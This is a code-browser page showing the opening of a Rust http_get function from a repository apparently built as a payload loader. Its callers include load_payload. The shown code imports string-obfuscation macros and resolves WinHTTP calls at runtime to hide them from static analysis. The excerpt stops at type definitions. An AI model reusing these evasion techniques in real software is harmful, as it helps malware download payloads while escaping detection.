MCPcopy Create free account
hub / github.com/echQoQ/RustSL / http_get

Function http_get

src/utils/http.rs:3–226  ·  view source on GitHub ↗
(url: &str)

Source from the content-addressed store, hash-verified

1#![allow(non_snake_case, non_camel_case_types)]
2
3pub fn http_get(url: &str) -> Result<(u16, Vec<u8>), String> {
4 use crate::utils::{load_library, get_proc_address};
5 use std::ptr::{null, null_mut};
6 use std::ffi::c_void;
7 use rsl_macros::obfuscation_noise_macro;
8 use obfstr::{obfstr, obfbytes};
9
10 // Function definitions
11 type WinHttpOpenFn = unsafe extern "system" fn(
12 pszAgentW: *const u16,
13 dwAccessType: u32,
14 pszProxyW: *const u16,
15 pszProxyBypassW: *const u16,
16 dwFlags: u32
17 ) -> *mut c_void;
18
19 type WinHttpConnectFn = unsafe extern "system" fn(
20 hSession: *mut c_void,
21 pswzServerName: *const u16,
22 nServerPort: u16,
23 dwReserved: u32
24 ) -> *mut c_void;
25
26 type WinHttpOpenRequestFn = unsafe extern "system" fn(
27 hConnect: *mut c_void,
28 pwszVerb: *const u16,
29 pwszObjectName: *const u16,
30 pwszVersion: *const u16,
31 pwszReferrer: *const u16,
32 ppwszAcceptTypes: *const *const u16,
33 dwFlags: u32
34 ) -> *mut c_void;
35
36 type WinHttpSendRequestFn = unsafe extern "system" fn(
37 hRequest: *mut c_void,
38 lpszHeaders: *const u16,
39 dwHeadersLength: u32,
40 lpOptional: *const c_void,
41 dwOptionalLength: u32,
42 dwTotalLength: u32,
43 dwContext: usize
44 ) -> i32;
45
46 type WinHttpReceiveResponseFn = unsafe extern "system" fn(
47 hRequest: *mut c_void,
48 lpReserved: *mut c_void
49 ) -> i32;
50
51 type WinHttpQueryHeadersFn = unsafe extern "system" fn(
52 hRequest: *mut c_void,
53 dwInfoLevel: u32,
54 pwszName: *const u16,
55 lpBuffer: *mut c_void,
56 lpdwBufferLength: *mut u32,
57 lpdwIndex: *mut u32
58 ) -> i32;
59
60 type WinHttpQueryDataAvailableFn = unsafe extern "system" fn(

Callers 3

check_ipFunction · 0.85
get_pinduoduo_timeFunction · 0.85
load_payloadFunction · 0.85

Calls 2

load_libraryFunction · 0.85
get_proc_addressFunction · 0.85

Tested by

no test coverage detected